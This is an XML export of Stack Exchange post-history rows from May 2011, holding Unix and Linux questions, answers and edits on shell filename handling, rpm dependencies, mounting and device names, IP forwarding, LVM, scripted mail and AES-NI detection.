  <row Id="35176" PostHistoryTypeId="2" PostId="14062" RevisionGUID="13bca60f-cffc-4ccd-8c7d-96c37a8f62be" CreationDate="2011-05-30T19:39:49.033" UserId="1131" Text="Placing a filesystem on a disk device without creating any partition is not that uncommon.&#xD;&#xA;&#xD;&#xA;Advantages:&#xD;&#xA;&#xD;&#xA;* when you want to use the whole space anyway, then you don't have to waste your time with some partitioning tool&#xD;&#xA;* you don't have to worry about incompatibilities of the 'standard' partition format (btw, what partition format is the standard, the DOS one, the BSD one?), e.g. the DOS partition format only allows partitions up to 2 TB when using 512 byte logical sectors!&#xD;&#xA;* you don't have to worry about partition induced alignment issues on drives with (currently) unusual sector sizes (e.g. 4 k) - sure, current distributions should ship partitioning tools that do correct alignment with different sector sizes&#xD;&#xA;&#xD;&#xA;Being able to resize a filesystem on a raw device is not a good reason. The space you save that way, you can't use for other things. Thus, you can just directly  create the filesystem on the whole device.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35177" PostHistoryTypeId="2" PostId="14063" RevisionGUID="3ecac693-3f82-432a-8558-6b81dded78cf" CreationDate="2011-05-30T19:57:34.183" UserId="4671" Text="Suppose I have a subdirectory called `sub`. Then I want to operate on all files in that directory with the extension &quot;txt&quot;. I want something like&#xD;&#xA;&#xD;&#xA;    for f in sub/*.txt&#xD;&#xA;    do&#xD;&#xA;        enscript -b &quot;&quot; {prefix of $f}.txt -p {prefix of $f}.ps                                                                                                                                   &#xD;&#xA;        ps2pdf {prefix of $f}.ps {prefix of $f}.pdf&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;so if the file list was just `foo.txt`, the script would expand to&#xD;&#xA;&#xD;&#xA;    enscript -b &quot;&quot; foo.txt -p foo.ps                                                                                                                                   &#xD;&#xA;    ps2pdf foo.ps foo.pdf" />
  <row Id="35178" PostHistoryTypeId="1" PostId="14063" RevisionGUID="3ecac693-3f82-432a-8558-6b81dded78cf" CreationDate="2011-05-30T19:57:34.183" UserId="4671" Text="returning strings corresponding to shell glob matching" />
  <row Id="35179" PostHistoryTypeId="3" PostId="14063" RevisionGUID="3ecac693-3f82-432a-8558-6b81dded78cf" CreationDate="2011-05-30T19:57:34.183" UserId="4671" Text="éshellàéshellöscriptàéscriptingàéwildcardsà" />
  <row Id="35180" PostHistoryTypeId="2" PostId="14064" RevisionGUID="ac458ce4-f1b7-45b6-b75f-335778b33943" CreationDate="2011-05-30T20:09:50.810" UserId="274" Text="POSIX shells (e.g., `bash`) accept a `${var%suffix}` construct that&#xD;&#xA;can be used to remove the trailing portion from the value of a&#xD;&#xA;variable.  For instance, if `path=&quot;sub/file.txt&quot;`, then `${path%.txt}`&#xD;&#xA;expands to `sub/file`. &#xD;&#xA;&#xD;&#xA;So, in your case you could write:&#xD;&#xA;&#xD;&#xA;    for f in sub/*.txt;&#xD;&#xA;      prefix=${f%.txt}&#xD;&#xA;      enscript -b &quot;&quot; ${prefix}.txt ${prefix}.ps&#xD;&#xA;      ps2pdf ${prefix}.ps ${prefix}.pdf&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Alternatively, the GNU&#xD;&#xA;[basename](http://manpages.ubuntu/com/1/basename) command accepts an&#xD;&#xA;optional second argument which is the file extension to remove.  For&#xD;&#xA;instance, if `$f` is `file.txt`, then `$(basename $f .txt)` expands to&#xD;&#xA;`file`.&#xD;&#xA;&#xD;&#xA;Note, however, that `basename` removes all path information except for&#xD;&#xA;the last component, so if you want to remove just the extension you&#xD;&#xA;have to put that back (see the&#xD;&#xA;[dirname](http://manpages.ubuntu.com/1/dirname) command).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35181" PostHistoryTypeId="2" PostId="14065" RevisionGUID="c4b763d9-785d-4c93-8181-582eca85687d" CreationDate="2011-05-30T20:30:02.803" UserId="5884" Text="I try to make a package of a program which is linked to such library (output from ldd):&#xD;&#xA;&#xD;&#xA;&gt; libwx_baseu-2.8.so.0 =&gt;&#xD;&#xA;&gt; /usr/lib64/wx-2.8-wxcontainer/libwx_baseu-2.8.so.0&#xD;&#xA;&#xD;&#xA;Pretty straightforward, right? But when I make a package of this program (with rpmbuild) and then try to install it, rpm complains about missing library (this one above):&#xD;&#xA;&#xD;&#xA;&gt; error: Failed dependencies:&#xD;&#xA;&gt;&#xD;&#xA;&gt;         libwx_baseu-2.8.so.0()(64bit) &#xD;&#xA;&gt;         libwx_baseu-2.8.so.0(WXU_2.8)(64bit)&#xD;&#xA;&#xD;&#xA;My guess is, rpmbuild set the dependency for the main lib directory, i.e. /usr/lib64.&#xD;&#xA;&#xD;&#xA;**Question** -- how to fix this issue (ok, one would be forced install, but I would like to avoid it)? I.e. how to build rpm so the dependencies would set for the wx-2.8-wxcontainer subdirectory (for this library)?&#xD;&#xA;&#xD;&#xA;openSUSE 11.4, if this matters." />
  <row Id="35182" PostHistoryTypeId="1" PostId="14065" RevisionGUID="c4b763d9-785d-4c93-8181-582eca85687d" CreationDate="2011-05-30T20:30:02.803" UserId="5884" Text="How does rpm resolve library dependencies?" />
  <row Id="35183" PostHistoryTypeId="3" PostId="14065" RevisionGUID="c4b763d9-785d-4c93-8181-582eca85687d" CreationDate="2011-05-30T20:30:02.803" UserId="5884" Text="érpmàélibrariesàédependenciesàédynamicölinkingà" />
  <row Id="35184" PostHistoryTypeId="5" PostId="14063" RevisionGUID="ee406914-dbbc-4822-8055-1069145d68a3" CreationDate="2011-05-30T20:32:44.270" UserId="4671" Comment="added 287 characters in body" Text="Suppose I have a subdirectory called `sub`. Then I want to operate on all files in that directory with the extension &quot;txt&quot;. I want something like&#xD;&#xA;&#xD;&#xA;    for f in sub/*.txt&#xD;&#xA;    do&#xD;&#xA;        enscript -b &quot;&quot; {prefix of $f}.txt -p {prefix of $f}.ps                                                                                                                                   &#xD;&#xA;        ps2pdf {prefix of $f}.ps {prefix of $f}.pdf&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;so if the file list was just `foo.txt`, the script would expand to&#xD;&#xA;&#xD;&#xA;    enscript -b &quot;&quot; foo.txt -p foo.ps                                                                                                                                   &#xD;&#xA;    ps2pdf foo.ps foo.pdf&#xD;&#xA;&#xD;&#xA;I generally prefer portable solutions, but it is always interesting to learn about different ways of doing things. So non-portable is Ok, please just mention whether your solution is portable or non-portable. Also, the title is probably not the best possible, so feel free to modify." />
  <row Id="35185" PostHistoryTypeId="2" PostId="14066" RevisionGUID="a4d25ec9-aa74-4e1f-9062-50d94247322f" CreationDate="2011-05-30T20:33:08.590" UserId="885" Text="The device file is how you tell mount what device or other location you want to access. So there's no way it can guess.¹&#xD;&#xA;&#xD;&#xA;There are [several different kinds of filesystems you can mount](http://unix.stackexchange.com/questions/12040/what-mount-points-exist-on-a-typical-linux-system/12086#12086). For disk-backed filesystems (the first kind that generally come to mind), the device is a [block device](http://en.wikipedia.org/wiki/Device_file#Block_devices). Its name is generally `/dev/something`, where the `something` part encodes the disk driver to use, which particular disk to use if that driver manages more than one, and what part of the disk to access if relevant. Different unix variants have different ways of designating devices. The official reference is your unix variant's device driver manual pages, typically section 4: [AIX](http://publib.boulder.ibm.com/infocenter/aix/v7r1/topic/com.ibm.aix.files/doc/aixfiles/Chapter_3.htm#szd32c0chri), [FreeBSD](http://www.freebsd.org/cgi/man.cgi?query=(4)&amp;apropos=1), [Linux](http://manpages.debian.net/cgi-bin/man.cgi?query=(4)&amp;apropos=1), [Mac OS X (section 4)](http://developer.apple.com/library/mac/#documentation/Darwin/Reference/ManPages/), [MINIX](http://www.minix3.org/manpages/#special), [NetBSD](http://netbsd.gw.com/cgi-bin/man-cgi?intro+4+NetBSD-current), [OpenBSD](http://www.openbsd.org/cgi-bin/man.cgi?query=(4)&amp;sektion=4&amp;apropos=1), [Solaris 11](http://download.oracle.com/docs/cd/E19963-01/html/821-1475/index.html), [Unix 6th ed.](http://man.cat-v.org/unix-6th/4/), [Unix 8th ed.](http://man.cat-v.org/unix_8th/),  …&#xD;&#xA;&#xD;&#xA;On Linux, here are a few other ways to find out about device names and alternate ways to designate devices. Some of these have analogs under other unix variants.&#xD;&#xA;&#xD;&#xA;* In `/proc/partitions`, there's a list of disks, disk partitions, logical volumes and other block devices. Not all of these have a filesystem on them.&#xD;&#xA;* All [logical volumes](http://en.wikipedia.org/wiki/Logical_volume_management) have an entry in `/dev/mapper`.&#xD;&#xA;* The `mount` command accepts filesystem labels and UUIDs in lieu of a device name, specified as `LABEL=foo` or `UUID=1234…` instead of `/dev/something`.&#xD;&#xA;* When a device is plugged into the system, [udev](http://en.wikipedia.org/wiki/Udev) assigns it a device name.&#xD;&#xA;* Most Linux distributions arrange (through udev) to have various alternate names for disk-like devices, under `/dev/disk`. These are alternate names for the same devices. For example on the machine I'm writing this on, the device that hosts my home filesystem (which is an LVM logical volume) is variously accessible as `/dev/dm-7`, `/dev/disk/by-id/dm-name-VolumeGroupName-LogicalVolumeName`, `/dev/disk/by-id/dm-uuid-LVM-LongStringOfDigitsAndLetters`, `/dev/disk/by-label/\x2fhome` and `/dev/disk/by-uuid/SomeUUID`.&#xD;&#xA;&#xD;&#xA;There are also filesystems that don't come from a disk file. For example, for remote filesystems such as [NFS](http://en.wikipedia.org/wiki/Network_File_System_%28protocol%29) or [Samba](http://en.wikipedia.org/wiki/Samba_%28software%29), the device name designates a machine name and a path or share name on that machine (e.g. `machinename:/shared/directory`).&#xD;&#xA;&#xD;&#xA;Many desktop systems arrange to have notifications when a new device is plugged in, and to automatically mount recognisable filesystems.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt;&#xD;&#xA;However, you can tell `mount` once and for all that a particular mount point corresponds to a particular device under a particular filesystem type with particular options, by recording a line in [`/etc/fstab`](http://manpages.ubuntu.com/manpages/lucid/man5/fstab.5.html).&#xD;&#xA;&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;The `mount` command requires that the directory (the mount point) exists. Automatic mounting systems typically create directories as needed, before doing the actual mounting (and remove the directory after unmounting).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Not all unices can mount the same filesystem in several places natively. Under Linux, this is possible through a [bind mount](http://aplawrence.com/Linux/mount_bind.html). On most unices, you can use the [bindfs](http://code.google.com/p/bindfs/) [FUSE](http://fuse.sourceforge.net/) filesystem for that.&#xD;&#xA;" />
  <row Id="35186" PostHistoryTypeId="6" PostId="14060" RevisionGUID="8d7cf82e-d101-463b-b6e5-7ae2b557e115" CreationDate="2011-05-30T20:33:26.717" UserId="885" Comment="edited tags" Text="émountàéblocködeviceà" />
  <row Id="35188" PostHistoryTypeId="6" PostId="14063" RevisionGUID="70b132b4-6b74-4320-a39f-5d7b82075b1a" CreationDate="2011-05-30T20:51:10.060" UserId="885" Comment="edited tags" Text="éshellàéfilenamesàéwildcardsà" />
  <row Id="35189" PostHistoryTypeId="5" PostId="14064" RevisionGUID="0cf42df6-0b53-41cd-8a28-c60f64f0dd33" CreationDate="2011-05-30T20:51:48.873" UserId="885" Comment="added missing `do`; added missing double quotes around variable substitutions" Text="POSIX shells (e.g., `bash`) accept a `${var%suffix}` construct that&#xD;&#xA;can be used to remove the trailing portion from the value of a&#xD;&#xA;variable.  For instance, if `path=&quot;sub/file.txt&quot;`, then `${path%.txt}`&#xD;&#xA;expands to `sub/file`. &#xD;&#xA;&#xD;&#xA;So, in your case you could write:&#xD;&#xA;&#xD;&#xA;    for f in sub/*.txt; do&#xD;&#xA;      prefix=${f%.txt}&#xD;&#xA;      enscript -b &quot;&quot; &quot;${prefix}.txt&quot; &quot;${prefix}.ps&quot;&#xD;&#xA;      ps2pdf &quot;${prefix}.ps&quot; &quot;${prefix}.pdf&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Alternatively, the GNU&#xD;&#xA;[basename](http://manpages.ubuntu/com/1/basename) command accepts an&#xD;&#xA;optional second argument which is the file extension to remove.  For&#xD;&#xA;instance, if `$f` is `file.txt`, then `$(basename $f .txt)` expands to&#xD;&#xA;`file`.&#xD;&#xA;&#xD;&#xA;Note, however, that `basename` removes all path information except for&#xD;&#xA;the last component, so if you want to remove just the extension you&#xD;&#xA;have to put that back (see the&#xD;&#xA;[dirname](http://manpages.ubuntu.com/1/dirname) command).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35190" PostHistoryTypeId="2" PostId="14068" RevisionGUID="4646550e-df73-4ce5-87bc-d7f9f8c01abc" CreationDate="2011-05-30T20:56:57.770" UserId="274" Text="(You didn't specify your operating system.  I'm assuming it's some&#xD;&#xA;variant of GNU/Linux, the general concept applies to other UNIXes&#xD;&#xA;as well; details may not.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1. How does one know what the device file for a device is in general?&#xD;&#xA;---------------------------------------------------------------------&#xD;&#xA;&#xD;&#xA;Basically, you have to know which device file name corresponds to&#xD;&#xA;which device. &#xD;&#xA;&#xD;&#xA;Sources of this information are the &#xD;&#xA;[Linux kernel documentation](http://www.lanana.org/docs/device-list/devices-2.6+.txt), &#xD;&#xA;the `udev` configuration files (look into `/etc/udev`) and the&#xD;&#xA;`MAKEDEV` script.&#xD;&#xA;&#xD;&#xA;The correct explanation is quite longer here: the Linux kernel&#xD;&#xA;identifies devices by a pair of numbers, &#xD;&#xA;called the &quot;major&quot; and the &quot;minor&quot; device numbers.  Any device file&#xD;&#xA;having the major and minor number of your CD-ROM device will be&#xD;&#xA;treated by the kernel as that CD-ROM device; so you could create (see&#xD;&#xA;the `mknod` command) a CD-ROM device `/my/cdrom` and use that;&#xD;&#xA;likewise, you could use any naming convention you like for any device.&#xD;&#xA;However, so much system software depends on finding a device by name&#xD;&#xA;that it's too much work to change device names from the &quot;standard&quot;.&#xD;&#xA;&#xD;&#xA;The actual device names used on the system are partly the result of&#xD;&#xA;history (e.g., the `/dev/sdX` and `/dev/hdX` names for disk drives -&#xD;&#xA;somebody started using those in the beginning of times and the name&#xD;&#xA;stuck), part the result of an agreement between the people developing&#xD;&#xA;some low-level parts of the system (mainly, the kernel, libC and&#xD;&#xA;udev).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2. Do I have to create in advance the directory to which the device is mounted to?&#xD;&#xA;----------------------------------------------------------------------------------&#xD;&#xA;&#xD;&#xA;Yes, [mount](http://manpages.ubuntu.com/man8/mount) will not create that directory for you.  &#xD;&#xA;&#xD;&#xA;The reason you see the mount points for CDs, USB sticks and other&#xD;&#xA;devices automagically appearing into `/media` is that some daemon&#xD;&#xA;process has created that for you.  (On GNU/Linux running the GNOME&#xD;&#xA;desktop it goes roughly as follows: you insert the CD, the mount&#xD;&#xA;directory is created, the CD is mounted and -possibly- a file manager&#xD;&#xA;window is opened. Almost everything can change, depending on the exact&#xD;&#xA;Linux version and distribution.)&#xD;&#xA;&#xD;&#xA;But on the command-line, you're on your own and have to create the&#xD;&#xA;mount point yourself.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;3. Can a device be mounted to several places, without unmounting?&#xD;&#xA;-----------------------------------------------------------------&#xD;&#xA;&#xD;&#xA;If you mean &quot;how to make the contents of the CD appear in various&#xD;&#xA;places of the filesystem&quot;, then yes, you can do that using a feature&#xD;&#xA;called &quot;bind mount&quot;.&#xD;&#xA;&#xD;&#xA;Bind mount can be &quot;replicate&quot; any directory on the filesystem appear&#xD;&#xA;in another, disjoint, part of the filesystem.  For instance, you could &#xD;&#xA;give the command:&#xD;&#xA;&#xD;&#xA;    mount --bind /var/tmp /mnt&#xD;&#xA;&#xD;&#xA;and this will make replicate the contents of `/var/tmp` into the&#xD;&#xA;directory `/mnt`: if you create a file `/var/tmp/foo`, you will see&#xD;&#xA;the same file appearing as `/mnt/foo`.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Further reading&#xD;&#xA;---------------&#xD;&#xA;&#xD;&#xA;You can find more information on `mount` and its operation at:&#xD;&#xA;&#xD;&#xA;* [The Librenix sysadmin tutorial](http://librenix.com/?inode=5270)&#xD;&#xA;* [The `mount` command man page](http://linux.die.net/man/8/mount)&#xD;&#xA;" />
  <row Id="35191" PostHistoryTypeId="2" PostId="14069" RevisionGUID="0e776797-a03e-4474-a8e7-71cb4039c000" CreationDate="2011-05-30T20:57:49.720" UserId="885" Text="[The portable way is to strip the extension with `${f%.*}`](http://unix.stackexchange.com/questions/14063/returning-strings-corresponding-to-shell-glob-matching/14064#14064).&#xD;&#xA;&#xD;&#xA;In zsh, you can apply [various transformations](http://zsh.sourceforge.net/Doc/Release/Expansion.html#Glob-Qualifiers) to [glob patterns](http://zsh.sourceforge.net/Doc/Release/Expansion.html#Filename-Generation), including [history modifiers](http://zsh.sourceforge.net/Doc/Release/Expansion.html#Modifiers) such as `r` to strip one extension.&#xD;&#xA;&#xD;&#xA;    for r in sub/*.txt(:r); do&#xD;&#xA;        enscript -b &quot;&quot; $r.txt -p $r.ps                                                                                                                                   &#xD;&#xA;        ps2pdf $r.ps $r.pdf&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35192" PostHistoryTypeId="5" PostId="14064" RevisionGUID="137c22e2-41ec-4a00-bd8f-8ee188284bab" CreationDate="2011-05-30T21:02:07.577" UserId="274" Comment="fixed links" Text="POSIX shells (e.g., `bash`) accept a `${var%suffix}` construct that&#xD;&#xA;can be used to remove the trailing portion from the value of a&#xD;&#xA;variable.  For instance, if `path=&quot;sub/file.txt&quot;`, then `${path%.txt}`&#xD;&#xA;expands to `sub/file`. &#xD;&#xA;&#xD;&#xA;So, in your case you could write:&#xD;&#xA;&#xD;&#xA;    for f in sub/*.txt; do&#xD;&#xA;      prefix=${f%.txt}&#xD;&#xA;      enscript -b &quot;&quot; &quot;${prefix}.txt&quot; &quot;${prefix}.ps&quot;&#xD;&#xA;      ps2pdf &quot;${prefix}.ps&quot; &quot;${prefix}.pdf&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Alternatively, the GNU&#xD;&#xA;[basename](http://linux.die.net/man/1/basename) command accepts an&#xD;&#xA;optional second argument which is the file extension to remove.  For&#xD;&#xA;instance, if `$f` is `file.txt`, then `$(basename $f .txt)` expands to&#xD;&#xA;`file`.&#xD;&#xA;&#xD;&#xA;Note, however, that `basename` removes all path information except for&#xD;&#xA;the last component, so if you want to remove just the extension you&#xD;&#xA;have to put that back (see the&#xD;&#xA;[dirname](http://linux.die.net/man/1/dirname) command).&#xD;&#xA;&#xD;&#xA;" />
  <row Id="35193" PostHistoryTypeId="5" PostId="14056" RevisionGUID="02971220-d512-4fd2-8fb2-e6c68e45cf35" CreationDate="2011-05-30T21:07:26.133" UserId="885" Comment="edited tags" Text="I have seen on many blogs, using this command to enable IP forwarding while using many network security/sniffing tools on linux&#xD;&#xA;&#xD;&#xA;    echo 1 &gt; /proc/sys/net/ipv4/ip_forward&#xD;&#xA;&#xD;&#xA;Can anyone explain me in layman terms, what essentially does this command do? Does it turn your system into router?" />
  <row Id="35194" PostHistoryTypeId="4" PostId="14056" RevisionGUID="02971220-d512-4fd2-8fb2-e6c68e45cf35" CreationDate="2011-05-30T21:07:26.133" UserId="885" Comment="edited tags" Text="What is kernel ip forwarding?" />
  <row Id="35195" PostHistoryTypeId="6" PostId="14056" RevisionGUID="02971220-d512-4fd2-8fb2-e6c68e45cf35" CreationDate="2011-05-30T21:07:26.133" UserId="885" Comment="edited tags" Text="élinuxàékernelàéipàéroutingà" />
  <row Id="35196" PostHistoryTypeId="6" PostId="14053" RevisionGUID="9e230526-17b8-4726-89f9-d8f8a0b2f832" CreationDate="2011-05-30T21:09:41.860" UserId="885" Comment="edited tags" Text="élinuxàékernelàéfedoraàémemoryàéi386à" />
  <row Id="35197" PostHistoryTypeId="25" PostId="14060" RevisionGUID="fe1c1377-c968-4f2a-8ad6-c1619ee78a52" CreationDate="2011-05-30T21:13:23.500" Comment="http://twitter.com/#!/StackUnix/status/75308848101072896" />
  <row Id="35198" PostHistoryTypeId="4" PostId="14046" RevisionGUID="8b45e8f8-b8ae-4127-a1f1-a88b9fd1a382" CreationDate="2011-05-30T21:14:44.293" UserId="885" Comment="title; tags" Text="Wrong route taken on a network with two gateways" />
  <row Id="35199" PostHistoryTypeId="6" PostId="14046" RevisionGUID="8b45e8f8-b8ae-4127-a1f1-a88b9fd1a382" CreationDate="2011-05-30T21:14:44.293" UserId="885" Comment="title; tags" Text="élinuxàéipàéroutingà" />
  <row Id="35200" PostHistoryTypeId="2" PostId="14070" RevisionGUID="63000572-d477-40f9-8c91-903237a04665" CreationDate="2011-05-30T21:15:09.147" UserId="2671" Text="I think, that you are mixing files and packages.&#xD;&#xA;&#xD;&#xA;The fact that the library exists on your disk doesn't mean that it can be used to resolve a dependency. For that, there has to be a package that provides this library.&#xD;&#xA;&#xD;&#xA;On the other hand, for dependency resolving, the file actually doesn't even have to exist. Only the fact, that some installed package provides it should be enough." />
  <row Id="35201" PostHistoryTypeId="6" PostId="14037" RevisionGUID="603b43e4-fa2a-4658-a866-4e7fd561032d" CreationDate="2011-05-30T21:34:04.393" UserId="885" Comment="edited tags" Text="élinuxàédevicesàéhotöplugà" />
  <row Id="35202" PostHistoryTypeId="2" PostId="14071" RevisionGUID="81296d62-c7b4-42e5-b5dc-95ec92fbe996" CreationDate="2011-05-30T21:47:39.733" UserId="885" Text="If the block of text to remove spans multiple lines, and if each individual file fits comfortably in RAM, the easiest approach is to load each file entirely into RAM and perform a global string replacement. Perl makes this easy, with `-i -p` to modify files in place record by record and `-0777` to not set any record separator (the default record separator is a newline).&#xD;&#xA;&#xD;&#xA;    perl -0777 -i -pe '&#xD;&#xA;        BEGIN {&#xD;&#xA;            open BLOCK, &quot;&lt;&quot;, &quot;/home/user/myblock.txt&quot;;&#xD;&#xA;            $block = &lt;BLOCK&gt;;&#xD;&#xA;            die unless length($block);&#xD;&#xA;            close BLOCK;&#xD;&#xA;        }&#xD;&#xA;        s/\Q$block//g&#xD;&#xA;    ' /home/user/rep/*" />
  <row Id="35203" PostHistoryTypeId="6" PostId="14045" RevisionGUID="093faf1f-8893-4de7-98a9-c3580fa64f47" CreationDate="2011-05-30T21:49:06.397" UserId="885" Comment="edited tags" Text="étextöprocessingà" />
  <row Id="35206" PostHistoryTypeId="25" PostId="14063" RevisionGUID="79743978-d28f-4939-bc5b-6b6bd3bf4b15" CreationDate="2011-05-31T00:13:24.143" Comment="http://twitter.com/#!/StackUnix/status/75354148652064768" />
  <row Id="35207" PostHistoryTypeId="2" PostId="14072" RevisionGUID="ea068587-8a9e-47f1-b1d9-3583b63725a6" CreationDate="2011-05-31T00:51:17.463" UserId="5614" Text="I have in the past heard of using `nail` for this task, but I can't seem to find it for my distribution (Ubuntu 11.04) in any of the repositories. What program can I use to one-off emails from a shell like so:&#xD;&#xA;&#xD;&#xA;    send-mail -to me@email.com -file attachment.zip -message &quot;Hello World&quot;&#xD;&#xA;&#xD;&#xA;Is there a program out there through which I can script mail sending as above?" />
  <row Id="35208" PostHistoryTypeId="1" PostId="14072" RevisionGUID="ea068587-8a9e-47f1-b1d9-3583b63725a6" CreationDate="2011-05-31T00:51:17.463" UserId="5614" Text="How can I automate sending mail using a script?" />
  <row Id="35209" PostHistoryTypeId="3" PostId="14072" RevisionGUID="ea068587-8a9e-47f1-b1d9-3583b63725a6" CreationDate="2011-05-31T00:51:17.463" UserId="5614" Text="émailà" />
  <row Id="35210" PostHistoryTypeId="10" PostId="14046" RevisionGUID="d247a52c-c956-4887-8e5f-55d268ae463d" CreationDate="2011-05-31T00:52:04.983" UserId="73" CloseReasonId="4" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="35211" PostHistoryTypeId="2" PostId="14073" RevisionGUID="411ad08f-8a34-4618-984b-f4aa793f694d" CreationDate="2011-05-31T00:57:40.337" UserId="2421" Text="`nail` was renamed to [Heirloom mailx][1].  For Ubuntu, you want to install the [heirloom-mailx][2] package, and then read the [Sending mail from scripts][3] section of the manpage.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://heirloom.sourceforge.net/mailx.html&#xD;&#xA;  [2]: http://packages.ubuntu.com/natty/mail/heirloom-mailx&#xD;&#xA;  [3]: http://heirloom.sourceforge.net/mailx/mailx.1.html#30" />
  <row Id="35212" PostHistoryTypeId="2" PostId="14074" RevisionGUID="a322439d-2390-4d88-8cd1-01274d0ff85d" CreationDate="2011-05-31T02:13:59.750" UserId="674" Text="I was wondering how logical volume, logical disk, volume, partition, physical disk and filesystem are related and correspond to each other?&#xD;&#xA;&#xD;&#xA;I am confused about these concepts and would like to have some general idea and big picture.&#xD;&#xA;&#xD;&#xA;Thanks and regards!" />
  <row Id="35213" PostHistoryTypeId="1" PostId="14074" RevisionGUID="a322439d-2390-4d88-8cd1-01274d0ff85d" CreationDate="2011-05-31T02:13:59.750" UserId="674" Text="logical volume, logical disk, volume, partition, physical disk and filesystem" />
  <row Id="35214" PostHistoryTypeId="3" PostId="14074" RevisionGUID="a322439d-2390-4d88-8cd1-01274d0ff85d" CreationDate="2011-05-31T02:13:59.750" UserId="674" Text="édevicesàéstorageà" />
  <row Id="35216" PostHistoryTypeId="25" PostId="14072" RevisionGUID="cb3d7c4c-934b-48d4-8697-1adaaf2b2412" CreationDate="2011-05-31T03:13:24.447" Comment="http://twitter.com/#!/StackUnix/status/75399449786056704" />
  <row Id="35217" PostHistoryTypeId="2" PostId="14075" RevisionGUID="baa4d55b-f589-449c-a6b0-8a34aa5a7e1f" CreationDate="2011-05-31T04:16:59.820" UserId="2490" Text="Hi,&#xD;&#xA;I don't know if this is a right place to ask but,&#xD;&#xA;I am using Gnome3 on fedora 15.&#xD;&#xA;One of the good features of Gnome3 is Notifications from empathy will appear while you are watching a movie in the movie player and we can reply to that without changing the focus. This is working with totem movie player, but not with VLC.&#xD;&#xA;Actually the notification will have the top Z-index but it fails to get the top position with VLC&#xD;&#xA;If this is not the right place to post this question please point me to the right one&#xD;&#xA;&#xD;&#xA;Thanx" />
  <row Id="35218" PostHistoryTypeId="1" PostId="14075" RevisionGUID="baa4d55b-f589-449c-a6b0-8a34aa5a7e1f" CreationDate="2011-05-31T04:16:59.820" UserId="2490" Text="Gnome 3 notification doesn't appear While vlc is runnig" />
  <row Id="35219" PostHistoryTypeId="3" PostId="14075" RevisionGUID="baa4d55b-f589-449c-a6b0-8a34aa5a7e1f" CreationDate="2011-05-31T04:16:59.820" UserId="2490" Text="éfedoraàégnome3àévlcà" />
  <row Id="35220" PostHistoryTypeId="2" PostId="14076" RevisionGUID="4fc92781-f8d9-489a-99ca-1395ae2adb82" CreationDate="2011-05-31T05:10:49.750" UserId="5884" Text="First you have physical disk, because you bought it, it is one piece of hardware. Disk provides some storage, which you (for several reasons) would not like as one piece, but split them (logically, not with knife) into parts -- partitions. For consistency when you don't like several partitions, you have to create one anyway.&#xD;&#xA;&#xD;&#xA;This is the basic layer. Now, depending on your choice you can put the data on partition, or add additional information for some partition manager -- like LVM. When LVM manages your partitions (instead of you) you can do such trick -- buy two disks, create partitions, and then tell LVM that those two partitions are one **contiguous** space -- logical volume. And on top of LV come data.&#xD;&#xA;&#xD;&#xA;Data -- of course you cannot save files just like that, it would be chaos, you need structure. You need discipline, right? ;-) So just before you start storing files, you create filesystem -- system (structure) for the files.&#xD;&#xA;&#xD;&#xA;Now you are ready to go.&#xD;&#xA;&#xD;&#xA;*I don't use LVM for long, but it is amazing stuff, if you ask me. Freedom of shaping your storage, withouth worrying about physical disk limitations... priceless.*" />
  <row Id="35221" PostHistoryTypeId="5" PostId="14076" RevisionGUID="eebb1722-913e-47fe-aeb8-866093e2d804" CreationDate="2011-05-31T05:46:42.437" UserId="5884" Comment="deleted 1 characters in body" Text="First you have physical disk, because you bought it, it is one piece of hardware. Disk provides some storage, which you (for several reasons) would not like as one piece, but divide it (logically, not with knife) into parts -- partitions. For consistency when you don't like several partitions, you have to create one anyway.&#xD;&#xA;&#xD;&#xA;This is the basic layer. Now, depending on your choice you can put the data on partition, or add additional information for some partition manager -- like LVM. When LVM manages your partitions (instead of you) you can do such trick -- buy two disks, create partitions, and then tell LVM that those two partitions are one **contiguous** space -- logical volume. And on top of LV come data.&#xD;&#xA;&#xD;&#xA;Data -- of course you cannot save files just like that, it would be chaos, you need structure. You need discipline, right? ;-) So just before you start storing files, you create filesystem -- system (structure) for the files.&#xD;&#xA;&#xD;&#xA;Now you are ready to go.&#xD;&#xA;&#xD;&#xA;*I don't use LVM for long, but it is amazing stuff, if you ask me. Freedom of shaping your storage, withouth worrying about physical disk limitations... priceless.*" />
  <row Id="35222" PostHistoryTypeId="2" PostId="14077" RevisionGUID="1eff0a6f-7fa1-4816-bf5c-4d931660d131" CreationDate="2011-05-31T06:11:25.337" UserId="6960" Text="https://secure.wikimedia.org/wikipedia/en/wiki/AES_instruction_set&#xD;&#xA;&#xD;&#xA;Under Linux/UNIX. How to check?" />
  <row Id="35223" PostHistoryTypeId="1" PostId="14077" RevisionGUID="1eff0a6f-7fa1-4816-bf5c-4d931660d131" CreationDate="2011-05-31T06:11:25.337" UserId="6960" Text="How to check that AES-NI is supported by my CPU?" />
  <row Id="35224" PostHistoryTypeId="3" PostId="14077" RevisionGUID="1eff0a6f-7fa1-4816-bf5c-4d931660d131" CreationDate="2011-05-31T06:11:25.337" UserId="6960" Text="élinuxà" />
  <row Id="35225" PostHistoryTypeId="25" PostId="14074" RevisionGUID="e12855b5-2789-46df-8716-479874c97366" CreationDate="2011-05-31T06:13:25.693" Comment="http://twitter.com/#!/StackUnix/status/75444752820076544" />
